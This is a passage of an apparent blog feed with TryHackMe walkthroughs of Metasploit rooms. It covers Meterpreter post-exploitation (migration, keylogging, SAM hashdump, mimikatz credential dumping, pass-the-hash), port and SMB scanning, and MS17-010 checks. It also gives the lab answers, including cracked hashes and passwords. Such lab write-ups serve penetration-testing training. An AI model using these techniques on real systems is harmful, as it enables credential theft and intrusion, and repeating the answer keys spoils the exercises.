Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe<br> 724   596   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe<br> 764   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 828   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 864   828   WmiPrvSE.exe                                                       <br> 900   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 952   692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1076  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1164  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe<br> 1168  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 1244  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe<br> 1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe[...]</pre><p><strong>Migrate</strong></p><p>Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.</p><p>To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716.</p><pre>meterpreter &gt; migrate 716<br>[*] Migrating from 1304 to 716...<br>[*] Migration completed successfully.<br>meterpreter &gt;</pre><p>Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.</p><p><strong>Hashdump</strong></p><p>The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user&#39;s passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.</p><pre>meterpreter &gt; hashdump<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::<br>meterpreter &gt;</pre><p>While it is not mathematically possible to “crack” these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network.</p><p><strong>Search</strong></p><p>The search command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information.</p><pre>meterpreter &gt; search -f flag2.txt<br>Found 1 result...<br>    c:\Windows\System32\config\flag2.txt (34 bytes)<br>meterpreter &gt;</pre><p><strong>Shell</strong></p><p>The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.</p><pre>meterpreter &gt; shell<br>Process 2124 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.<br><br>C:\Windows\system32&gt;</pre><p>No answer needed</p><h3>Task 5: Post-Exploitation Challenge</h3><p>Commands mentioned previously, such as getsystem and hashdump will provide important leverage and information for privilege escalation and lateral movement. Meterpreter is also a good base you can use to run post-exploitation modules available on the Metasploit framework. Finally, you can also use the <strong>load </strong>command to leverage additional tools such as Kiwi or even the whole Python language.</p><pre>meterpreter &gt; load python<br>Loading extension python...Success.<br>meterpreter &gt; python_execute &quot;print &#39;TryHackMe Rocks!&#39;&quot;<br>[+] Content written to stdout:<br>TryHackMe Rocks!<br><br>meterpreter &gt;</pre><p>The post-exploitation phase will have several goals; Meterpreter has functions that can assist all of them.</p><ul><li>Gathering further information about the target system.</li><li>Looking for interesting files, user credentials, additional network interfaces, and generally interesting information on the target system.</li><li>Privilege escalation.</li><li>Lateral movement.</li></ul><p>Once any additional tool is loaded using the load command, you will see new options on the help menu. The example below shows commands added for the Kiwi module (using the load kiwi command).</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 20191125 (x64/windows)<br> .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)<br> ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )<br> ## \ / ##       &gt; http://blog.gentilkiwi.com/mimikatz<br> &#39;## v ##&#39;        Vincent LE TOUX            ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;         &gt; http://pingcastle.com / http://mysmartlogon.com  ***/<br><br>Success.</pre><p>These will change according to the loaded menu, so running the help command after loading a module is always a good idea.</p><pre>Kiwi Commands<br>=============<br><br>Command                Description<br>    -------                -----------<br>    creds_all              Retrieve all credentials (parsed)<br>    creds_kerberos         Retrieve Kerberos creds (parsed)<br>    creds_msv              Retrieve LM/NTLM creds (parsed)<br>    creds_ssp              Retrieve SSP creds<br>    creds_tspkg            Retrieve TsPkg creds (parsed)<br>    creds_wdigest          Retrieve WDigest creds (parsed)<br>    dcsync                 Retrieve user account information via DCSync (unparsed)<br>    dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync<br>    golden_ticket_create   Create a golden kerberos ticket<br>    kerberos_ticket_list   List all kerberos tickets (unparsed)<br>    kerberos_ticket_purge  Purge any in-use kerberos tickets<br>    kerberos_ticket_use    Use a kerberos ticket<br>    kiwi_cmd               Execute an arbitary mimikatz command (unparsed)<br>    lsa_dump_sam           Dump LSA SAM (unparsed)<br>    lsa_dump_secrets       Dump LSA secrets (unparsed)<br>    password_change        Change the password/hash of a user<br>    wifi_list              List wifi profiles/creds for the current user<br>    wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)</pre><p>The questions below will help you have a better understanding of how Meterpreter can be used in post-exploitation.</p><p>You can use the credentials below to simulate an initial compromise over SMB (Server Message Block) (using exploit/windows/smb/psexec)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*RKJUAukIF8QzACZxw6yiuw.png" /></figure><p>set RHOSTS TARGET_IP</p><p>set SMBUser Username</p><p>set SMBPass Password</p><p>then run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*Mey-oVvWkdHgPQdhEDl4og.png" /></figure><p>Q1:What is the computer name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*IogV9R9nR2PbUNtFFwA4bA.png" /></figure><pre>ACME-TEST</pre><p>Q2:What is the target domain?</p><pre>FLASH</pre><p>Q3:What is the name of the share likely created by the user?</p><p>If you see meterpeter command line, type background then search smb share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*FUVY5fHDO4MwxEc-XEfaVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*CeYFAnwyshasvcnP9QIV3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*JZn64WQHTfOjk5NkXGZs7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*-o3jx30ABeBmYCD7aCGBKg.png" /></figure><pre>speedster</pre><p>Q4:What is the NTLM hash of the jchambers user?</p><p>We need to get back to meterpreter. type sessions -i 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*MwVogBZeLJZiKv6bgjXhJA.png" /></figure><pre>69596c7aa1e8daee17f8e78870e25a5c</pre><p>Q5:What is the cleartext password of the jchambers user?</p><p>Go to <a href="https://crackstation.net/">https://crackstation.net/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNJlU5JthStz16zQ_XqR1A.png" /></figure><pre>Trustno1</pre><p>Q6:Where is the “secrets.txt” file located? (Full path of the file)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*ybUDFLGM2GaCyrFXwE7E0Q.png" /></figure><pre>c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt</pre><p>Q7:What is the Twitter password revealed in the “secrets.txt” file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*jYptqqvReWUTu1C7r8LdoQ.png" /></figure><pre>KDSvbsw3849!</pre><p>Q8:Where is the “realsecret.txt” file located? (Full path of the file)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*cZYTtk8yIlOHd1yLYHlX1g.png" /></figure><pre>c:\inetpub\wwwroot\realsecret.txt</pre><p>Q9:What is the real secret?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*DsfQ8dJ5PbZnEXeXBpKL_Q.png" /></figure><pre>The Flash is the fastest man alive</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c81b00718d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Exploitation — TryHackMe]]></title>
            <link>https://medium.com/@notfo/metasploit-exploitation-ecc0006655a3?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecc0006655a3</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[msfvenom]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 03:38:31 GMT</pubDate>
            <atom:updated>2025-07-12T13:36:46.983Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task 1: Introduction</h3><p>In this room, we will learn how to use Metasploit for vulnerability scanning and exploitation. We will also cover how the database feature makes it easier to manage penetration testing engagements with a broader scope. Finally, we will look at generating payloads with msfvenom and how to start a Meterpreter session on most target platforms.</p><p>More specifically, the topics we will cover are:</p><ul><li>How to scan target systems using Metasploit.</li><li>How to use the Metasploit database feature.</li><li>How to use Metasploit to conduct a vulnerability scan.</li><li>How to use Metasploit to exploit vulnerable services on target systems.</li><li>How msfvenom can be used to create payloads and obtain a Meterpreter session on the target system.</li></ul><p>Please note that for all questions that require using a wordlist (e.g brute-force attacks), we will be using the wordlist on the AttackBox found at the following path:</p><p>/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt</p><p>If you opt to use your own machine, please download the wordlist by clicking the Download Task Files button to the right.</p><p>Start the AttackBox and run Metasploit using the msfconsole command to follow along this room.</p><pre>No answer needed</pre><h3>Task 2: Scanning</h3><p><strong>Port Scanning</strong></p><p>Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command.</p><pre>msf6 &gt; search portscan<br><br>Matching Modules<br>================<br>   #  Name                                              Disclosure Date  Rank    Check  Description<br>   -  ----                                              ---------------  ----    -----  -----------<br>   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator<br>   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner<br>   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner<br>   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner<br>   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner<br>   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner<br>   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP &quot;XMas&quot; Port Scanner<br>   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner<br><br>Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner<br>msf6 &gt;</pre><p>Port scanning modules will require you to set a few options:</p><pre>msf6 auxiliary(scanner/portscan/tcp) &gt; show options<br><br>Module options (auxiliary/scanner/portscan/tcp):<br>   Name         Current Setting  Required  Description<br>   ----         ---------------  --------  -----------<br>   CONCURRENCY  10               yes       The number of concurrent ports to check per host<br>   DELAY        0                yes       The delay between connections, per thread, in milliseconds<br>   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.<br>   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)<br>   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   THREADS      1                yes       The number of concurrent threads (max one per host)<br>   TIMEOUT      1000             yes       The socket connect timeout in milliseconds<br>msf6 auxiliary(scanner/portscan/tcp) &gt;</pre><ul><li><strong>CONCURRENCY: </strong>Number of targets to be scanned simultaneously.</li><li><strong>PORTS: </strong>Port range to be scanned. Please note that 1–1000 here will not be the same as using Nmap with the default configuration. Nmap will scan the 1000 most used ports, while Metasploit will scan port numbers from 1 to 10000.</li><li><strong>RHOSTS:</strong> Target or target network to be scanned.</li><li><strong>THREADS:</strong> Number of threads that will be used simultaneously. More threads will result in faster scans.</li></ul><p>You can directly perform Nmap scans from the msfconsole prompt as shown below faster:</p><pre>msf6 &gt; nmap -sS 10.10.12.229<br>[*] exec: nmap -sS 10.10.12.229<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST<br>Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)<br>Host is up (0.0011s latency).<br>Not shown: 992 closed ports<br>PORT      STATE SERVICE<br>135/tcp   open  msrpc<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds<br>3389/tcp  open  ms-wbt-server<br>49152/tcp open  unknown<br>49153/tcp open  unknown<br>49154/tcp open  unknown<br>49158/tcp open  unknown<br>MAC Address: 02:CE:59:27:C8:E3 (Unknown)<br>Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds<br><br>msf6 &gt;</pre><p>As for information gathering, if your engagement requires a speedier approach to port scanning, Metasploit may not be your first choice. However, a number of modules make Metasploit a useful tool for the scanning phase.</p><p><strong>UDP service Identification</strong></p><p>The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.</p><p><strong>UDP scan</strong></p><pre>msf6 auxiliary(scanner/discovery/udp_sweep) &gt; run<br><br>[*] Sending 13 probes to 10.10.12.229-&gt;10.10.12.229 (1 hosts)<br>[*] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :02:ce:59:27:c8:e3)<br>[*] Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed<br>msf6 auxiliary(scanner/discovery/udp_sweep) &gt;</pre><p><strong>SMB Scans</strong></p><p>Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.</p><pre>msf6 auxiliary(scanner/smb/smb_version) &gt; run<br><br>[+] 10.10.12.229:445      - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)<br>[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed<br>msf6 auxiliary(scanner/smb/smb_version) &gt;</pre><p>When performing service scans, it would be important not to omit more “exotic” services such as NetBIOS. NetBIOS (Network Basic Input Output System), similar to SMB, allows computers to communicate over the network to share files or send files to printers. The NetBIOS name of the target system can give you an idea about its role and even importance (e.g. CORP-DC, DEVOPS, SALES, etc.). You may also run across some shared files and folders that could be accessed either without a password or protected with a simple password (e.g. admin, administrator, root, toor, etc.).</p><p>Remember, Metasploit has many modules that can help you have a better understanding of the target system and possibly help you find vulnerabilities. It is always worth performing a quick search to see if there are any modules that could be helpful based on your target system.</p><p>Q1:How many ports are open on the target system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*nMe3TgyLGLdMbN5yMdfSuA.png" /></figure><pre>5</pre><p>Q2:Using the relevant scanner, what NetBIOS name can you see?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*GFVlxxmFBCcW9FXOOjdjfw.png" /></figure><pre>ACME IT SUPPORT</pre><p>Q3:What is running on port 8000?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*_VpOx6YXNtll2EQXSSbiBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*6d7m38-9jMhyhFqN_KOxtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*l8bWlB44x5Y2cnjMc6dsOA.png" /></figure><pre>webfs/1.21</pre><p>Q4:What is the “penny” user’s SMB password? Use the wordlist mentioned in the previous task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Jy2SqlEB9yb4HJND4YHPlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*VW_lz6Up3vZRzuq7P64QWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*5-fDsDOVpNpzcoffJveRbA.png" /></figure><pre>leo1234</pre><h3>Task 3: The Metasploit Database</h3><p>While it is not required when interacting with a single target on TryHackMe, an actual penetration testing engagement will likely have several targets.</p><p>Metasploit has a database function to simplify project management and avoid possible confusion when setting up parameter values.</p><p><strong>Please note</strong> the following steps have already been taken in the TryHackMe AttackBox, so you will only need to do this if you are using Kali or have installed Metasploit yourself.</p><p>You will first need to start the PostgreSQL database, which Metasploit will use with the following command: systemctl start postgresql.</p><p>Then you will need to initialize the Metasploit Database using the msfdb init command. However, trying to run msfdb init as root will give the following error message, &quot;Please run msfdb as a non-root user.&quot; This can be solved by running it as the postgres account using sudo -u postgres msfdb init.</p><p>The terminal below shows the example output. As mentioned, the steps below have already been performed on the AttackBox; however, if you are interested in repeating them, you will need to delete the existing database first using sudo -u postgres msfdb delete.</p><pre>root@attackbox:~# systemctl start postgresql <br>root@attackbox:~# sudo -u postgres msfdb init<br>Running the &#39;init&#39; command for the database:<br>Creating database at /var/lib/postgresql/.msf4/db<br>Creating db socket file at /tmp<br>Starting database at /var/lib/postgresql/.msf4/db...waiting for server to start.... done<br>server started<br>success<br>Creating database users<br>Writing client authentication configuration file /var/lib/postgresql/.msf4/db/pg_hba.conf<br>Stopping database at /var/lib/postgresql/.msf4/db<br>Starting database at /var/lib/postgresql/.msf4/db...waiting for server to start.... done<br>server started<br>success<br>Creating initial database schema<br>Database initialization successful<br>root@attackbox:~#</pre><p>You can now launch msfconsole and check the database status using the db_status command.</p><pre>msf6 &gt; db_status<br>[*] Connected to msf. Connection type: postgresql.<br>msf6 &gt;</pre><p>The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command.</p><pre>msf6 &gt; workspace<br>* default<br>msf6 &gt;</pre><p>You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named &quot;tryhackme&quot; was created.</p><pre>msf6 &gt; workspace -a tryhackme<br>[*] Added workspace: tryhackme<br>[*] Workspace: tryhackme<br>msf5 &gt; workspace<br>default<br>* tryhackme<br>msf6 &gt;</pre><p>You will also notice that the new database name is printed in red, starting with a * symbol.</p><p>You can use the workspace command to navigate between workspaces simply by typing workspace followed by the desired workspace name.</p><pre>msf6 &gt; workspace<br>default<br>* tryhackme<br>msf5 &gt; workspace default<br>[*] Workspace: default<br>msf5 &gt; workspace <br>tryhackme<br>* default<br>msf6 &gt;</pre><p>You can use the workspace -h command to list available options for the workspace command.</p><pre>msf6 &gt; workspace -h<br>Usage:<br>workspace                  List workspaces<br>workspace -v               List workspaces verbosely<br>workspace [name]           Switch workspace<br>workspace -a [name] ...    Add workspace(s)<br>workspace -d [name] ...    Delete workspace(s)<br>workspace -D               Delete all workspaces<br>workspace -r     Rename workspace<br>workspace -h               Show this help information</pre><p>Different from regular Metasploit usage, once Metasploit is launched with a database, the help command, you will show the Database Backends Commands menu.</p><pre>Database Backend Commands<br>=========================<br><br>Command           Description<br>-------           -----------<br>analyze           Analyze database information about a specific address or address range<br>db_connect        Connect to an existing data service<br>db_disconnect     Disconnect from the current data service<br>db_export         Export a file containing the contents of the database<br>db_import         Import a scan result file (filetype will be auto-detected)<br>db_nmap           Executes nmap and records the output automatically<br>db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)<br>db_remove         Remove the saved data service entry<br>db_save           Save the current data service connection as the default to reconnect on startup<br>db_status         Show the current data service status<br>hosts             List all hosts in the database<br>loot              List all loot in the database<br>notes             List all notes in the database<br>services          List all services in the database<br>vulns             List all vulnerabilities in the database<br>workspace         Switch between database workspaces</pre><p>If you run a Nmap scan using the db_nmap shown below, all results will be saved to the database.</p><pre>msf6 &gt; db_nmap -sV -p- 10.10.12.229<br>[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-20 03:15 UTC<br>[*] Nmap: Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)<br>[*] Nmap: Host is up (0.00090s latency).<br>[*] Nmap: Not shown: 65526 closed ports<br>[*] Nmap: PORT      STATE SERVICE            VERSION<br>[*] Nmap: 135/tcp   open  msrpc              Microsoft Windows RPC<br>[*] Nmap: 139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn<br>[*] Nmap: 445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)<br>[*] Nmap: 3389/tcp  open  ssl/ms-wbt-server?<br>[*] Nmap: 49152/tcp open  msrpc              Microsoft Windows RPC<br>[*] Nmap: 49153/tcp open  msrpc              Microsoft Windows RPC<br>[*] Nmap: 49154/tcp open  msrpc              Microsoft Windows RPC<br>[*] Nmap: 49158/tcp open  msrpc              Microsoft Windows RPC<br>[*] Nmap: 49162/tcp open  msrpc              Microsoft Windows RPC<br>[*] Nmap: MAC Address: 02:CE:59:27:C8:E3 (Unknown)<br>[*] Nmap: Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows<br>[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 94.91 seconds<br>msf6 &gt;</pre><p>You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.</p><p>Hosts and services</p><pre>msf6 &gt; hosts<br><br>Hosts<br>=====<br>address       mac                name                                        os_name  os_flavor  os_sp  purpose  info  comments<br>-------       ---                ----                                        -------  ---------  -----  -------  ----  --------<br>10.10.12.229  02:ce:59:27:c8:e3  ip-10-10-12-229.eu-west-1.compute.internal  Unknown                    device         <br>msf6 &gt; services<br>Services<br>========<br>host          port   proto  name               state  info<br>----          ----   -----  ----               -----  ----<br>10.10.12.229  135    tcp    msrpc              open   Microsoft Windows RPC<br>10.10.12.229  139    tcp    netbios-ssn        open   Microsoft Windows netbios-ssn<br>10.10.12.229  445    tcp    microsoft-ds       open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP<br>10.10.12.229  3389   tcp    ssl/ms-wbt-server  open   <br>10.10.12.229  49152  tcp    msrpc              open   Microsoft Windows RPC<br>10.10.12.229  49153  tcp    msrpc              open   Microsoft Windows RPC<br>10.10.12.229  49154  tcp    msrpc              open   Microsoft Windows RPC<br>10.10.12.229  49158  tcp    msrpc              open   Microsoft Windows RPC<br>10.10.12.229  49162  tcp    msrpc              open   Microsoft Windows RPC<br><br>msf6 &gt;</pre><p>The hosts -h and services -h commands can help you become more familiar with available options. Once the host information is stored in the database, you can use the hosts -R command to add this value to the RHOSTS parameter.</p><p><strong>Example Workflow</strong></p><ol><li>We will use the vulnerability scanning module that finds potential MS17–010 vulnerabilities with the use auxiliary/scanner/smb/smb_ms17_010 command.</li><li>We set the RHOSTS value using hosts -R.</li><li>We have typed show options to check if all values were assigned correctly. (In this example, 10.10.138.32 is the IP address we have scanned earlier using the db_nmap command)</li><li>Once all parameters are set, we launch the exploit using the run or exploit command.</li></ol><pre>msf6 &gt; use auxiliary/scanner/smb/smb_ms17_010 <br>msf5 auxiliary(scanner/smb/smb_ms17_010) &gt; hosts -R <br><br>Hosts<br>=====<br>address       mac                name                                        os_name  os_flavor  os_sp  purpose  info  comments<br>-------       ---                ----                                        -------  ---------  -----  -------  ----  --------<br>10.10.12.229  02:ce:59:27:c8:e3  ip-10-10-12-229.eu-west-1.compute.internal  Unknown                    device         <br>RHOSTS =&gt; 10.10.12.229<br>msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; show options <br>Module options (auxiliary/scanner/smb/smb_ms17_010):<br>Name         Current Setting                                                 Required  Description<br>----         ---------------                                                 --------  -----------<br>CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts<br>CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts<br>CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts<br>NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check<br>RHOSTS       10.10.12.229                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>RPORT        445                                                             yes       The SMB service port (TCP)<br>SMBDomain    .                                                               no        The Windows domain to use for authentication<br>SMBPass                                                                      no        The password for the specified username<br>SMBUser                                                                      no        The username to authenticate as<br>THREADS      1                                                               yes       The number of concurrent threads (max one per host)<br><br>msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; run</pre><p>If there is more than one host saved to the database, all IP addresses will be used when the hosts -R command is used.</p><p>In a typical penetration testing engagement, we could have the following scenario:</p><ul><li>Finding available hosts using the db_nmap command</li><li>Scanning these for further vulnerabilities or open ports (using a port scanning module)</li></ul><p>The services command used with the -S parameter will allow you to search for specific services in the environment.</p><pre>msf6 &gt; services -S netbios                                                                                       <br>Services                                                                                                             <br>========                                                                                                             <br>                                                                                                                <br>host          port  proto  name         state  info                                                                              <br>----          ----  -----  ----         -----  ----                                                                              <br>10.10.12.229  139   tcp    netbios-ssn  open   Microsoft Windows netbios-ssn<br><br>msf6 &gt;</pre><p>You may want to look for low-hanging fruits such as:</p><ul><li>HTTP: Could potentially host a web application where you can find vulnerabilities like SQL injection or Remote Code Execution (RCE).</li><li>FTP: Could allow anonymous login and provide access to interesting files.</li><li>SMB: Could be vulnerable to SMB exploits like MS17–010</li><li>SSH: Could have default or easy to guess credentials</li><li>RDP: Could be vulnerable to Bluekeep or allow desktop access if weak credentials were used.</li></ul><p>As you can see, Metasploit has many features to aid in engagements such as the ability to compartmentalize your engagements into workspaces, analyze your results at a high level, and quickly import and explore data.</p><p>No answers needed.</p><h3>Task 4: Vulnerability Scanning</h3><p>Metasploit allows you to quickly identify some critical vulnerabilities that could be considered as “low hanging fruit”. The term “low hanging fruit” usually refers to easily identifiable and exploitable vulnerabilities that could potentially allow you to gain a foothold on a system and, in some cases, gain high-level privileges such as root or administrator.</p><p>Finding vulnerabilities using Metasploit will rely heavily on your ability to scan and fingerprint the target. The better you are at these stages, the more options Metasploit may provide you. For example, if you identify a VNC service running on the target, you may use the search function on Metasploit to list useful modules. The results will contain payload and post modules. At this stage, these results are not very useful as we have not discovered a potential exploit to use just yet. However, in the case of VNC, there are several scanner modules that we can use.</p><p>Example: VNC scanning modules</p><pre>msf6 &gt; use auxiliary/scanner/vnc/<br>use auxiliary/scanner/vnc/ard_root_pw    use auxiliary/scanner/vnc/vnc_login      use auxiliary/scanner/vnc/vnc_none_auth<br>msf6 &gt; use auxiliary/scanner/vnc/</pre><p>You can use the info command for any module to have a better understanding of its use and purpose.</p><pre>msf6 auxiliary(scanner/vnc/vnc_login) &gt; info<br><br>Name: VNC Authentication Scanner<br>     Module: auxiliary/scanner/vnc/vnc_login<br>    License: Metasploit Framework License (BSD)<br>       Rank: Normal<br><br>Provided by:<br>  carstein <br>  jduck <br><br>Check supported:<br>  No<br><br>Basic options:<br>  Name              Current Setting                                                  Required  Description<br>  ----              ---------------                                                  --------  -----------<br>  BLANK_PASSWORDS   false                                                            no        Try blank passwords for all users<br>  BRUTEFORCE_SPEED  5                                                                yes       How fast to bruteforce, from 0 to 5<br>  DB_ALL_CREDS      false                                                            no        Try each user/password couple stored in the current database<br>  DB_ALL_PASS       false                                                            no        Add all passwords in the current database to the list<br>  DB_ALL_USERS      false                                                            no        Add all users in the current database to the list<br>  PASSWORD                                                                           no        The password to test<br>  PASS_FILE         